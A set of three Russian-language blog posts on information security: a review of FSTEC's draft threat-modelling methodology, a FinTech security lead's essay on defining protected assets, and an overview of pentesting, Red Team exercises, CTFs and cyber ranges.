Моделирование угроз

Обзор проекта новой методики моделирования угроз безопасности информации

30.07.2020 18:15:54 |

Автор: admin

9 апреля на сайте ФСТЭК России был опубликован проект Методики определения угроз безопасности информации в информационных системах. Методика может стать первым за последние 12 лет официально принятым документом, описывающим порядок моделирования и определения актуальности угроз безопасности информации. С учетом того, что определение угроз безопасности является основополагающим мероприятием при построении любой системы защиты, важность Методики переоценить сложно.

В своей статье мы хотим рассмотреть и оценить новый подход регулятора к моделированию угроз, а также ответить на следующий вопрос насколько такой подход отвечает текущим реалиям в области информационной безопасности.

Как сейчас регулируется вопрос моделирования угроз?

Определение актуальных угроз безопасности информации требуется для самых разнообразных объектов: ИСПДН, ГИС, АСУ ТП, значимые объекты КИИ, ИС финансовых организаций (далее при совместном упоминании информационные системы). Следовательно, обработка информации с использованием таких объектов требует четкого понимания кто (или что) и каким образом может стать причиной нарушения информационной безопасности.

Вместе с тем, единственным действующим на сегодняшний день документом в области моделирования угроз безопасности является Методика определения актуальных угроз безопасности персональных данных при их обработке в информационных системах персональных данных, выпущенная в далеком 2008 году. Помимо преклонного возраста, данный документ может похвастаться рядом моментов, свидетельствующих о том, что он, к сожалению, давно потерял свою актуальность и продолжает использоваться только по причине отсутствия какой-либо замены. Жесткая привязка к персональным данным, использование показателя исходной защищенности системы, в качестве фактора, влияющего на определение актуальности угроз, отсутствие какого-либо разделения ответственности в вопросах моделирования угроз безопасности при использовании внешних хостингов лишь часть огрехов, которые продолжают обсуждаться ИБ-сообществом.

В такой ситуации обладателям информации (операторам) приходится импровизировать, самостоятельно дорабатывая документ для собственных нужд. Такой подход, во-первых, не является абсолютно легальным (в своих приказах ФСТЭК настаивает на использование разработанных ими методических документов для определения угроз безопасности), а во-вторых, представляет весьма нетривиальную задачу, особенно при отсутствии соответствующего опыта у исполнителя. В связи с этим, новая Методика должна стать если и не панацеей, то инструментом, значительно упрощающим процесс моделирования угроз информационной безопасности.

Ключевые особенности новой методики

Область применения Методики

Первой и одной из наиболее важных отличительных черт новой Методики является область ее применения, которая теперь не ограничивается лишь ИСПДн. Документ должен использоваться для определения угроз безопасности информации при ее обработке с использованием любых объектов, требования по защите к которым утверждены ФСТЭК. К таким объектам, как упоминалось ранее, относятся значимые объекты КИИ, ИСПДн, ГИС и иные типы систем.

Помимо этого, документ прямо предусматривает возможность разработки и использования отраслевых/ведомственных/корпоративных методик, учитывающих особенности функционирования объектов. Какой-либо порядок разработки и согласования дочерних методик не предусмотрен, единственное требование они не должны противоречить положениям Методики.

Использование БДУ ФСТЭК при моделировании угроз безопасности

Основным источником информации об угрозах станет БДУ ФСТЭК, а также базовые и типовые модели угроз безопасности. Если для значимых объектов КИИ и ГИС такой подход предполагался и ранее, то вопрос использования (или неиспользования) БДУ по отношению к ИСПДн теперь получил однозначный ответ.

Такой подход выглядит вполне логичным, если бы не одно но. Дело в том, что разнообразие базовых и типовых моделей угроз на сегодняшний день оставляет желать лучшего в свободном доступе опубликован лишь один документ, попадающий под это описание, да и тот представляет собой выписку и нацелен на все те же ИСПДн.
Означает ли это, что в ближайшее время после утверждения Методики стоит ожидать пополнение в рядах базовых и типовых моделей угроз? Вопрос остается открытым.

Порядок моделирования угроз безопасности

Обновленный порядок включает в себя пять этапов, выполняемых в определенной последовательности. Общая схема процесса, представленная в Методике, выглядит следующим образом:

За определение актуальности угрозы безопасности информации отвечают этапы с первого по четвертый. В соответствии с Методикой, угроза безопасности будет являться актуальной при наличии хотя бы одного сценария ее реализации и если ее реализация приведет к каким-либо негативным последствиям для обладателя информации (оператора) или государства.

Цель пятого этапа определить опасность каждой из актуальных угроз. По сути, данная характеристика носит исключительно информационный характер и не оказывает прямого влияния ни на итоговый документ, формируемый по результатам моделирования, ни на возможные варианты нейтрализации угрозы. Можно предположить, что данный параметр должен использоваться для определения очередности закрытия угрозы, однако малое число возможных значений показателя низкий, средний, высокий не позволяют сделать это с достаточной степенью детализации. Более того, любая из дошедших до данного шага угроз должна быть так или иначе закрыта, поэтому забыть про неопасную угрозу попросту не получится. Таким образом, истинная цель данного параметра остается не раскрытой в полной мере.

Стоит отметить, что работы по моделированию угроз безопасности должны проводиться либо обладателем информации (оператором) самостоятельно, либо с привлечением лицензиатов ФСТЭК. Такой подход, в соответствии с нормативными документами регулятора, применяется и в настоящее время.

Определение актуальности угроз безопасности информации

Подробнее хочется остановиться непосредственно на порядке определения актуальности угроз безопасности.

1. Итак, на первом этапе предлагается определить все возможные негативные последствия от реализации угроз безопасности. Помогать в этом должна либо проведенная ранее оценка ущерба (рисков) от нарушения основных критических процессов, либо экспертная оценка, либо информация, получаемая от эксплуатирующих информационную систему подразделений.

При любом выбранном подходе, необходимо определить информационные ресурсы, обеспечивающие выполнение критических процессов (непосредственно информация, программно-аппаратные средства, средства защиты информации и иные) и основные виды неправомерного доступа по отношению к каждому из ресурсов. Методичка содержит перечень основных видов ресурсов и неправомерного доступа к ним, а также примеры определения возможных негативных последствий.

2. На втором этапе необходимо определить наличие потенциальных уязвимостей и их типы, наличие недекларированных возможностей в информационных системах, а также необходимость доступа к системе для реализации каждой из угроз безопасности.
В качестве основного метода выявления потенциальных уязвимостей в информационной системе на этапе ее эксплуатации является тестирование на проникновение, проводимое в том числе с учетом функциональных возможностей и настроек средств защиты.

3. Следующим, третьим этапом является определение нарушителей безопасности и оценка их возможностей. В качестве источников угроз предлагается рассматривать как антропогенные, так и техногенные: первые рассматриваются абсолютно для всех информационных систем, тогда как вторые только для тех систем, для которых предъявляются требования к устойчивости и надежности функционирования.

Подход к определению возможных антропогенных источников угроз нарушителей является стандартным и заключается в выявлении конкретных видов нарушителей, их потенциала и возможностей при реализации угроз в отношении защищаемой информационной системы. Стоит отметить, что при наличии связи информационной системы с Интернетом, внешний нарушитель как минимум с низким потенциалом всегда рассматривается в качестве актуального источника угроз.

Также необходимо обратить внимание, что согласно новой Методике, нарушитель может обладать одним из четырех уровней потенциала (базовый, базовый повышенный, средний и высокий), в то время как БДУ, при описании источника угроз, использует лишь 3 уровня (низкий, средний, базовый). Как правильно в этом случае обеспечить корреляцию вопрос, который также остается без ответа.

4. На заключительном этапе осуществляется анализ возможных тактик и техник реализации угроз. Для определения возможных сценариев атак, Методика предлагает использовать приведенные в ней тактики и техники, а также дополнительную информацию из БДУ ФСТЭК или иных баз данных компьютерных атак (по всей видимости здесь имеются в виду матрица ATT&CK и аналогичные походы).

Стоит отметить еще один момент, касающийся БДУ. На сегодняшний день этот ресурс не содержит какой-либо структурированной информации о возможных способах реализации угроз, в связи с чем ссылка на него выглядит неуместной.

Выдержка из матрицы тактик и методик, представленной в документе:

В общем и целом, предложенный подход значительно выделяется своими положительными сторонами, особенно на фоне порядка, представленного в действующей методике. Среди плюсов, как минимум, можно выделить следующие:

отказ от неудобных в использовании и далеко не всегда корректных параметров исходной защищенности информационной системы и вероятности реализации угрозы, используемых в методике 2008 года;
зависимость актуальности угроз безопасности от действительно значимых для информационной безопасности параметров, таких как потенциальный ущерб от реализации угрозы и сценарии ее реализации;
большой акцент на мероприятиях, позволяющих корректно и точно определить, от чего необходимо защищаться оценка рисков, проведение тестирования на проникновение, использование источников о тактиках и техниках реализации угроз;
предусмотрены различные варианты выполнения мероприятий при определении актуальности угроз, например, определение потенциальных последствий от реализации угрозы тремя разными способами;
предоставление исходных данных и примеров выполнения для каждого из мероприятий, выполняемых для определения актуальности угроз.

Таким образом, мероприятия по определению актуальности угроз безопасности являются целостным и структурированным процессом, способным учитывать особенности функционирования различных типов информационных систем.

Вместе с тем стоит отметить тот факт, что модернизация подхода к определению актуальности угроз сделал его значительно более трудоемким. От исполнителя (или, вероятнее, группы исполнителей) требуются глубокие знания как об инфраструктуре системы, так и различных областях ИБ, начиная от законодательных норм, заканчивая пониманием (и, желательно, наличием практических навыков) по реализации различных типов атак.

Определение угроз безопасности для инфраструктуры, размещаемой на внешних хостингах

Особое внимание уделяется вопросу разделения ответственности при моделировании угроз для информационных систем, размещаемых во внешних ЦОД и облачных сервисах.
Определение актуальных угроз безопасности в рассматриваемой ситуации должно осуществляться владельцем информации совместно с используемым хостингом. В общем случае хостинг определяет актуальные угрозы безопасности для предоставляемой им инфраструктуры и доводит эти сведения до своего клиента обладателя информации (оператора).

Например, границы моделирования угроз безопасности при аренде виртуальной инфраструктуры выглядят следующим образом:

В случае, если владелец хостинга не выполняет моделирование угроз, Методика не рекомендует использование его услуг. С учетом того, что такая рекомендательная мера далеко не всегда будет соблюдаться, остается открытым вопрос о том, как быть владельцу информации, если он решится на использование услуг такого хостинга.

Поддержание модели угроз в актуальном состояние

Результаты моделирования угроз оформляются в виде документа по форме, представленной в приложении к Методике, и утверждается руководителем обладателя информации (оператора). Стоит отметить, что предлагаемая к использованию форма документа имеет достаточно стандартную структуру, повторяющую основные разделы Методики, при этом в ней отсутствует раздел с указанием выводов или какой-либо иной информации, объясняющей, что же с этими угрозами делать дальше. Такой подход, к сожалению, создает впечатление неоконченного документа, описывающего мероприятие, вырванное из общего контекста.

Но перейдем к дальнейшим этапам жизненного цикла модели угроз. Подразумевается, что в течение всего периода эксплуатации информационной системы, модель угроз должна актуализироваться с учетом изменения требований законодательства, изменения архитектуры и условий функционирования системы, выявления новых угроз безопасности информации. Таким образом, обновление БДУ ФСТЭК должно повлечь за собой и обновление всех разработанных и используемых моделей угроз безопасности информации. С учетом того, что внесение изменений в БДУ событие относительно частое (от 1 до 3 раз в год, в соответствии с представленной в базе информацией), возвращаться к вопросу актуализации модели угроз придется регулярно.

Вместе с тем стоит отметить, что поддерживать в актуальном состоянии модель угроз можно и в виде электронного документа. Необходимо ли в этом случае утверждать такой документ у руководителя и если да, то каким именно образом пока неясно.

Удалась ли новая Методика?

Опубликованный проект документа демонстрирует, что в вопросах обеспечения безопасности информационных систем регулятор старается идти в ногу со временем и вместе с тем учитывать пожелания владельцев таких систем.

Из очевидных плюсов обновленной Методики стоит отметить:

ее универсальность и, следовательно, возможность использования для различных типов информационных систем;
структурированный и понятный подход к определению актуальности угроз безопасности;
зависимость актуальности угроз от действительно важных факторов наличия потенциальных негативных последствий от реализации угрозы и сценариев ее реализации.

Вместе с тем, при прочтении Методики отчетливо ощущается, что это лишь проект, а не финальная версия методического документа:

неоднократное упоминание БДУ в контексте функций, которая она в настоящий момент не реализует;
ссылки на фактически отсутствующие для большинства типов информационных систем базовых и типовых моделей угроз;
форма документа по результатам моделирования угроз, требующая доработки и иные мелкие недочеты.

Впереди еще достаточно времени для обсуждения документа предложения и замечания по проекту Методики принимаются регулятором до 30 апреля 2020 г. Но уже сейчас можно сказать, что документ скорее получился полезным, чем наоборот. А будет ли он удобным в использовании покажет самое ближайшее будущее.

И что же дальше?

Новый вариант Методики значительно отличается от действующей в настоящее время. В случае утверждения этого документа (а пока не видно ни одной действительно значимой причины, почему это может не произойти), перед владельцами информационных систем встанет вопрос о том, нужно ли им актуализировать имеющиеся модели угроз и если да, то как и в какой срок необходимо это осуществить.

И если ответ на первый вопрос с большой долей вероятности будет утвердительным, то информацию по последующим в настоящий момент взять неоткуда. Очевидно, что необходима какая-либо отсрочка при вступлении в силу новой Методики. Проведение детальной и качественной работы по моделированию угроз процесс, требующий значительных ресурсов, как временных, так и человеческих.

Чтобы узнать о практической стороне вопроса моделирования угроз безопасности, в том числе с использованием новой Методики, продолжайте следить за нашими информационными источниками.

Владислав Павлов
Специалист отдела аудита и консалтинга, Акрибия

Подробнее..

Категории: Информационная безопасность , Блог компании акрибия , Фстэк , Моделирование угроз

FinTech. А что защищать?

22.09.2020 14:11:12 |

Автор: admin

Всем привет,

Минутка деанона, меня зовут Анатолий Маковецкий, я Security Team Lead в Exness.
Сразу извинюсь перед теми, кто ожидает увидеть технический write-up, здесь его не будет. Также в материале описаны настолько очевидные на первый взгляд вещи, что даже не факт, что они являются таковыми, но вы резонно можете меня спросить, как меня наняли и когда я уже перестану притворяться безопасником (ответ на картинке под катом) :).

Погнали.

Изображение: Telegram канал Information Security Memes (http://personeltest.ru/aways/t.me/infosecmemes)

Опыт моих предыдущих нескольких лет в профессии формировался в технологических компаниях, и, будучи специалистом по защите информации, я защищал информацию (кэп), хотя подождите, если разобраться, как принято у нас в отрасли, порой там была добрая примесь защиты систем, без большого реального различия, что же за информация в них содержится, насколько эти системы важны бизнесу, есть ли сейчас что-то более важное, да и прочих условностей.

Согласитесь, это же так классно в условиях отсутствия строгого менеджмента, выстроенных процессов, понятных приоритетов и иного счастья, скакать с системы на систему, находить красивые баги на поверхности или чуть глубже на основе чужих свежих ресерчей или собственного опыта, показывать впечатляющие пути их эксплуатации. Это реально позволяет выстроить диалог с другими ИТ-командами, заработать немного авторитета. Куда-то меня не туда понесло

Да, правильно, настоящая информационная безопасность зиждется на процессах, ISO, 27k в зубы и пошли выносить мозги ИТ и топ-менеджменту, все расскажем, все разложим, обоснуем и покажем, никто не поспорит, ведь, надо, только станут ли наши процессы в полях лучше от внедрения очередного стандарта?

На самом деле посыл в том, что нужно стараться перейти к корневой идее, к комплексной и сбалансированной защите ценных для бизнеса активов, а не к латочному ремонту безопасности, а то выглядеть это будет так:

Фото: s.66.ru

Вы меня извините сразу за такие крайние примеры с обеих сторон, понимаю, что так можно и до сути не довести, но в собственном опыте меня носило из одной крайности в другую, ровно, как написано выше, так что, глубоко надеюсь, что здесь приличная взрослая аудитория, и мой опыт ничтожен на фоне вашего, так как начинал я с полнейшей бумаги в худших ее проявлениях, потом плавно через ИТ переехал в практические области, так что носился из крайности в крайность, видел тех, кто сидел в этих крайностях рядом со мной, так что я не был там одинок и замечу одно:

крайне редко безопасность бывает в компаниях сбалансированной, причем часто вопрос не в ресурсах, а в том, что у нас в головах, ну и головах наших ближайших менеджеров:

есть люди, которые сидят и строят безопасность только на бумаге и на уровне общих процессов безопасности (простите за тавтологию), что важно и нужно, но не в отрыве от техники, так что, хоть вся эта система и соответствует стандартам, при реальных кейсах профита будет немного;
есть люди, которые бессистемно что-то защищают, инструменты правильные используют, слова правильные говорят, локальный эффект такой подход приносит, а глобально ничего не меняет.

Оба подхода имеют свои положительные стороны, так как недостаточное внимание к каждой из них порождает свои отдельные риски, но правда в балансе, иначе получается безопасность ради безопасности где-то рядом с тем самым сферическим конем в вакууме. Здесь мы подошли к одной очередной очевидной очевидности:

Информационные безопасники топят за необходимость защиты всего и вся, часто не расставляя реальные приоритеты, и радуются любой возможности ~~прилюдно линчевать кого-то гордо нахмурив брови~~ проявить себя при нарушении кем-то построенного или недостроенного процесса.
Практические безопасники часто концентрируются на недопустимости наличия уязвимостей где бы то ни было, так как это потенциально компрометирует все окружение, но имеют также пробелы в части приоритезации, отдавая более высокий приоритет более уязвимой системе, чем более чувствительной, но менее* уязвимой.

Примечание: *

Да, я считаю, что неуязвимых систем не существует, все сводится к сложности эксплуатации и требованиям к компетенциям.

Часто мы опираемся на чужой опыт, на чужие приоритеты, о которых где-то прочитали, которые не всегда неверные и неподходящие, но часто достаточно не оптимальные для конкретных условий, из разряда Quick Start, что порой, все же, может оказаться оправдано, когда кругом перекати-поле и коршуны кружат, и явно лучше, чем ничего, но бизнес тем временем живет сам по себе.

Да, кстати, а что там про диалог бизнеса и безопасности? По моему глубокому мнению, мы (безопасники) очень часто пытаемся продать бизнесу то, что он не понимает, что ему не сильно нужно и то, что к нему слабо относится, либо ничего продать даже не пытаемся. То есть наша аргументация как представителей безопасности строится на идеях и устоях нашей же индустрии, от которой бизнес может оказаться очень далек, а мотивировать нужно понятным языком и обоснованно, тогда эффект будет предсказуемее, долговременнее, а вовлеченность бизнеса выше. В конечном итоге, за бюджетом нам идти именно к бизнесу, как бы ни хотелось, чтоб все было наоборот :)

А зачем мы вообще нужны бизнесу? Иногда безопасность нужна для галочки, так как просто-напросто требуется. Давайте такие кейсы оставим, а поговорим про случаи, когда безопасность появляется из-за понимания потребности в ней. Правильный бизнес хочет ~~денег~~ всесторонне оценивать наперед потенциальные риски, бороться с ними заранее, а также своевременно и эффективно реагировать на реализующиеся угрозы, делать из них выводы на будущее и становиться сильнее. То есть нас нанимают, чтобы мы помогали, но как мы можем помочь?

В первую очередь нужно понимать, каким таким образом компания делает деньги, чем вообще занимается и к чему стремится, а дальше всеми силами это защищать. Если бизнес занимается разведением куриц, которые несут яйца и попадают на столы к добрым людям в качестве еды, то давайте защищать куриц, их яйца, процессы вокруг них и способ доставки на столы. Если же бизнес занимается Big Data, то давайте защищать эту самую биг-дату, вычислители, сырые данные, алгоритмы и все, что с этим связано.

Так вот, к огромному моему сожалению, лишь небольшая часть коллег по цеху в реальности на практике доходит до осознания слабой эффективности несогласованного с бизнесом подхода и до последующего внедрения рабочей модели работы по приоритетам бизнеса. А что позволяет нам определять реальные угрозы? Верно, их моделирование.

Давайте на минутку уйдем в сторону и представим себе общий процесс моделирования угроз, как вижу его я:

Мы определяем ценные активы компании, а ценные это те, нарушение свойств которых ведет в конечном итоге к потерям, по опыту, которые в итоге сводятся к финансовым прямо или косвенно, если речь о коммерческой компании. Здесь у нас, как правило, получается та или иная информация, которую мы должны защищать из собственного интереса или по причинам регулирования. Не довелось мне работать на золотых приисках, может, там и не информация на первом месте.
Ранжируем те самые ценные активы, чтоб хоть как-то расставить приоритеты.
Определяем системы, в которых эти ценные активы обрабатываются и хранятся, а в современной компании, как правило, все обрабатывается автоматизировано, в информационных системах (а то, что кто-то из работников может утащить фикус с подоконника, да пачку кофе с общей кухни, тут смело пренебрегаем, плохо, но масштаб не тот).
Ранжируем системы по степени влияния на свойства тех самых ценных активов.
Определяем процессы, которые влияют на наши ценные активы, и, вероятно, реализуются в системах, которые мы определили выше, хотя не всегда.
Ранжируем процессы по степени влияния на активы и бизнес в целом.
На стыке получаем связи активов с системами и процессами, понимаем**, что защищать и в какую очередь.

Примечание: **

Здесь в короткой версии я умышленно пренебрег доп. деталями, из разряда определения свойств тех и иных объектов, типов участников процессов и т.п., чтобы не уходить в сторону и не усложнять восприятие, но, если будет спрос, готов написать подробный материал по подходу к моделированию угроз, к которому пришел, с привязкой к практическому применению этого процесса, хотя, люди вокруг умные, все и так все знают и понимают.

Так вот, раньше по опыту защищаемым активом у меня всегда была информация, этого было достаточно для построения защиты, но придя в Exness и начав формировать модель, учитывающую локальные особенности, я не мог расстаться с ощущением, что чего-то не хватает, что-то важное пропущено, пока меня не осенило (да-да, смейтесь надо мною, самозванцем-безопасником, пишущим этом пост, и очевидностью происходящего):

В финтехе есть деньги.

Деньги есть в любой компании. Любая компания, как минимум, рано или поздно платит работникам зарплату, арендует офис, ведет какую-то хозяйственную деятельность и обеспечивает работой бухгалтерию, но сводится это к наличию счета в банке, либо, в дополнение к платежной системе, интегрированной с веб-сайтом, но в финтехе есть реальные деньги, при этом с ними работают внешние пользователи, а добрая часть операций над ними автоматизирована. Упс

Теперь давайте представим, что помимо кучи бизнес значимой и другой защищаемой информации, да, в том числе кредов и ключей от Интернет-банкинга, который есть у всех и тоже про деньги, у вас есть, как минимум, реальные деньги клиентов, которые они заводят на свои счета внутри ваших систем. То есть по сути, внутри систем это та же информация, как и все вокруг, но по факту это деньги, которые трансформируются в информацию и обратно на границах систем, но относиться к ним, как к обычной информации не стоит.

На изображении ниже схема информационных потоков одного из наших продуктов :)

Изображение: сериал DuckTales Walt Disney Television Animation

Также уход от парадигмы, что мы защищаем только информацию, позволил понять еще один тип ценных ресурсов, которым я пренебрегал ранее, но он присутствует у всех, хотя и является довольно неоднозначным взаимоотношения, которые могут быть партнерскими отношениями с поставщиком клиентов/трафика, либо с провайдером услуг связи/сервиса безопасности/инфраструктуры. Конечно, раньше я всегда неявно рассматривал это, но в контексте реализации угрозы в вакууме, из разряда Business Continuity Plan и Disaster Recovery Plan, а здесь оно трансформировалось в сознании во вполне осознанный актив, который стоит идентифицировать и защищать, что расширяет наше покрытие, так как мы начинаем двигаться в этом отношении не только от известных угроз, но и от самого актива, как от объекта потенциально подверженного неизвестным угрозам, но не об этом сейчас.

Если посмотреть ближе, то деньги виднеются со всех сторон:

Как минимум, есть все та же хозяйственная деятельность, как и в любой другой компании.
Есть продукты, которые связаны с финансовыми операциями и со скоростью их проведения, в которых заложена реальная логика входа и выхода денежных средств, то есть деньги не получится убрать в дальний сейф и давать посмотреть на них только раз в сутки после специальной церемонии с поклонами и полным раздеванием. Их нужно гонять в системах, и чем быстрее, тем, зачастую, лучше для бизнеса.
Есть огромная куча различных платежных систем и других инструментов, у каждого из которых свои реализации взаимодействия, ограничения и особенности интеграции.
Есть инфраструктура, в которой продукты работают.
Есть инженеры, которые делают продукты; инженеры, которые сопровождают продукты; инженеры, сопровождающие инфраструктуру; финансисты, которые имеют доступ к какой-то части финансовых процессов и многие другие.
Есть сами процессы, которые идут через разные системы и команды.

В итоге, есть огромное количество стыков активов, систем, пользователей, работников, партнеров, процессов, а, как правило, основные угрозы мы получаем на стыках, а дополнительные стыки создают новые угрозы.

Все это к тому, что в корне лежит не только привычная информационным безопасникам информация или данные, а еще и активы другого рода, как деньги, которые при таких масштабах бедствия довольно сложно переложить исключительно на привычную всем нам информацию и данные. Реализация угрозы против какого-то привычного типа информации не всегда ведет к возникновению ущерба, а в случае с деньгами каждая транзакция имеет минимальную известную и однозначную ценность, особенно когда мы говорим о довольно быстром их прохождении, которая может лишь увеличиваться от характера угрозы.

То есть в случае с Интернет-банкингом или крипто-кошельками у вас есть креды/секреты/ключи для доступа к ним (обобщим словом секреты). Секреты это информация, но есть еще процессы, процедуры и церемонии по работе с ними, ну и относительно потенциально узкий круг лиц для работы с ними. Здесь тоже концепция защиты информации не ломается, но когда мы переходим к стадии прохождения платежной логики прямо или косвенно через все вокруг, а также к размазыванию денег по разным продуктам и системам, то ситуация становится куда более tricky :)

В сухом остатке, единственное, на что нам стоит надеяться на нашу связь с бизнесом и наше хорошее его понимание, которое выливается в определенную внутреннюю экспертизу, которую мы можем и должны непрерывно прокачивать и сразу же перекладывать в актуальную модель угроз, которую в свою очередь мы должны накладывать на особенности наших систем, чтобы не допустить разрыва и бессистемности, а, как итог, бессмысленности во всей нашей работе.

Простите, что так много слов про такую короткую мысль, но хочется, чтобы мы все в ИБ-отрасли еще раз задумались о том, что и как мы делаем, и уж, если нам дают такую возможность, то делать все правильно, чтоб все этапы были согласованы друг с другом, а если такую возможность не дают биться за нее, если оно того стоит, иначе мы всегда будем на несколько шагов позади атакующих, так как они обычно свои цели хорошо знают и следуют им, в отличие от нас.

Если этот материал не провалится по полной, то дальше постараюсь более подробно и практически-ориентированно раскрыть основные подходы, инструменты и субъективное видение таких тем, как:

Мой велосипед на тему моделирования угроз (если будет спрос на него, так как велосипедов и без моего хватает);
(Не)доверие и безопасность;
Bug Bounty, как мы это делаем и к чему стремимся;
Замечания об особенностях русскоязычного рынка ИБ-специалистов после длительного опыта в качестве интервьюера;
Что должно драйвить безопасность.

Если материал зашел плюсуйте, если провал топите в комментариях. Всегда рад конструктивному фидбеку, будь он позитивный или нет.

Всем добра и сбалансированного профессионального подхода!

Подробнее..

Категории: Информационная безопасность , Блог компании exness , Моделирование угроз , Управление безопасностью , Процессы в безопасности , Угрозы безопасности , Безопасность в финтехе

Пентест Свет не выключайте, пожалуйста. Киберполигон А город надолго без света?

11.11.2020 16:12:52 |

Автор: admin

Потребность в оценке защищенности ИТ-инфраструктуры появилась практически одновременно с компьютерными системами. В 50-е годы прошлого столетия ученые начали предполагать, что на компьютерные системы возможны атаки, а в 1988 году Робертом Моррисом младшимбыл создан первый массовый сетевой червь, который по скромным оценкам нанес ущерб в 96 млн долларов. Тогда общественность всерьез задумалась над угрозой компьютерных атак.

В 1992 году появился первый документ, содержащий правила управления ИБ в компании, который впоследствии превратился во всем известный ISO/IEC 17799. На основании этого документа стали проводиться аудиты для выявления несоответствий. Вот только аудиты эти помогали убедиться, что системы обеспечения информационной безопасности в компании соответствуют установленным на бумаге (в политиках, регламентах) требованиям, а не защищают от реальных киберугроз. Причем сама проверка проводилась преимущественно в форме опроса сотрудников.

Спустя десять лет появилась методология оценки рисков, которая направила сообщество на путь поиска инцидентов, которые могли бы произойти, и выявления наиболее подходящих путей их предотвращения.Вначале оценка рисков происходила опять же только на бумаге, но затем эксперты стали проводить практический анализ защищенности информационных систем и тестирование на проникновение, для того чтобы корректно верифицировать риски.

Тестирование на проникновение (пентест) это проверка возможности получения злоумышленником несанкционированного доступа к ИТ-ресурсам компании. Пентестеры ищут уязвимые места в системе и демонстрируют возможность проведения атак, моделируя действия хакеров. Формальной эту проверку уже не назовешь. Однако у современного пентеста есть существенный недостаток: он всегда ограничен списком ресурсов, которые можно ломать, но самое главное он ограничен в сценариях поведения атакующих из-за невозможности влиять на реальную инфраструктуру. Есть перечень действий, которые для пентестеров под запретом, как правило, он прописан в договоре. Например, нельзя переводить миллиард с банковского счета, даже если есть такая возможность, или останавливать турбину на теплоэлектростанции.

Эти запреты связаны с тем, что компании боятся необратимости последствий, вызванных моделированием кибератак. Из-за этих ограничений пентест, как правило, заканчивается либо проникновением в локальную сеть компании, либо получением доступа к учетной записи администратора домена. И все. Только демонстрация гипотетических возможностей злоумышленников. И то без демонстрации последствий, ведь доводить атаку до конца запрещено. Это минус для всех сторон: для экспертов ИБ, которые не могут предоставить доказательства своих слов, лишь предполагая, к чему приведут действия хакеров; для службы ИБ компании, которая не может проверить, работают ли меры по противодействию атакующим; для руководства компании, которое может не доверять гипотетическим угрозам.

Еще один недостаток есть во всех перечисленных выше методах. В них не принимается во внимание человеческий фактор: сотрудники службы ИБ не могут оказать сопротивление пентестерам и остановить атаку, а сами пентестеры находятся в тепличных условиях они действуют открыто. Уровень зрелости ИБ в компаниях зачастую невысок, поэтому иногда работа пентестеров и вовсе сводится к подбору учетных данных администратора. В итоге пентестерам сложно развиваться в экспертном плане, им нет смысла совершенствовать свои методы и скрываться от службы ИБ, то есть действовать как реальный хакер, который всегда старается остаться незамеченным. Сотрудники службы мониторинга обычно тоже не принимают участия в пентестах, не анализируют действия пентестеров.

Тестирование на проникновение в режиме Red Team это способ приблизиться к условиям реальной атаки. В рамках Red Team эксперты ИБ имитируют целенаправленные атаки на компанию. В отличие от пентеста служба ИБ оказывает противодействие и тем самым повышает свою готовность к реагированию на киберугрозы. Однако слабой стороной Red Team аналогично пентесту является использование реальной инфраструктуры компании, поскольку вновь невозможно реализовать риск до конца.

Поэтому среди экспертов ИБ так популярны соревнования Capture the Flag (CTF). На CTF-площадках участники могут искать уязвимости в сервисах и использовать их для развития векторов атак на другие команды без негативного влияния на бизнес-функции компаний. Кроме того, эти соревнования отличный способ обучения экспертов ИБ (исследователей, пентестеров, участников Red Team и Bug Hunter). И если раньше бизнес не относился серьезно к CTF, считая это лишь развлечением, то сейчас мы видим, что многие общепризнанные эксперты ИБ, которые теперь занимают высокие должности, когда-то принимали участие в CTF. Правда, соревнования за более чем 20-летнюю историю преобразились.

До 2010 года CTF-соревнования были далеки от реальной жизни и инфраструктуры, уязвимости искусственны, а результат игры неприменим для бизнеса. Есть два формата проведения CTF:

Task-based, в котором требуется решать отдельные задачи и получать очки за правильные ответы (флаги).
Attackdefense, в котором участники получают идентичные серверы с набором уязвимых сервисов (приложений), не связанных между собой. Задача каждой команды заключается в том, чтобы найти уязвимости, устранить их на своем сервере и воспользоваться ими для получения конфиденциальной информации (флагов) у соперников.

Во время соревнований участники отрабатывают навыки быстрого поиска и закрытия уязвимостей, они учатся работать в команде, развиваются как эксперты. Сегодня работодатели приветствуют опыт в CTF как для пентестеров, так и для специалистов службы ИБ и SOC. Компании даже сами устраивают соревнования, например Trend Micro с 2015 года, Google с 2016 года. Кроме того, появились публичные программы bug bounty, в которых любой желающий может протестировать сервисы и продукты известных компаний и получить денежное вознаграждение за выявленные уязвимости. Так, за zero-click-уязвимость с исполнением кода на ядре компания Apple готова заплатить 1 млн долларов.

В 2010 году НАТО впервые провела открытые соревнования Locked Shields, в которых столкнулись Red Team (атакующие) и Blue Team (защитники). С 2001 года подобные соревнования под названием Cyber Defense Exercise проводило Агентство национальной безопасности США, но только для учащихся военных академий США. Формат таких соревнований не похож на CTF, это киберучения, эмулирующие реальный мир. В киберучениях применяются ИТ-системы, выполняющие бизнес-процессы, присущие реальным компаниям. Так, в декабре 2020 года Европейское агентство по сетевой иинформационной безопасности(ENISA) проведет Cyber Europe 2020, в котором организаторы смоделируют сценарии, касающиеся здравоохранения.

Движение бизнеса в сторону практической безопасности прозрачной, результативной и обоснованной привело к абсолютно новому формату соревнований. Этим форматом стали киберучения, в которых одновременно могут принять участие все специалисты компьютерной безопасности: пентестеры, исследователи, сотрудники службы ИБ и центра мониторинга. Сценарии атак для киберучений могут быть автоматизированы, а могут реализовываться с привлечением Red Team, состоящей из экспертов ИБ. Привлечение нескольких команд атакующих позволяет улучшить подготовку сотрудников службы ИБ и SOC, поскольку у них появляется возможность проработать больше техник и сценариев атак.

С появлением киберполигона The Standoff у сообщества появилась среда для моделирования кибератак, оценки значимости ресурсов и реализуемости рисков на цифровом макете реального города. В инфраструктуру города заложены живые бизнес-сценарии нефтяной компании, ТЭЦ, подстанции, химического завода, аэропорта, банка, железной дороги, морского порта, а значит, участники столкнутся с настоящим оборудованием и сервисами, используемыми в этих компаниях. The Standoff это уникальная возможность довести вектор атаки до конца и посмотреть, к чему это приведет: будет ли украден миллиард и надолго ли останется город без электричества после выхода из строя паровой турбины ТЭЦ. При проектировании The Standoff были использованы реальные контроллеры, которые используются на идентичных объектах критически значимой инфраструктуры, а значит, у экспертов ИБ есть возможность протестировать сценарии атак до конца. Если атака будет успешной и электростанция остановится, значит, она остановилась бы и в реальной жизни.

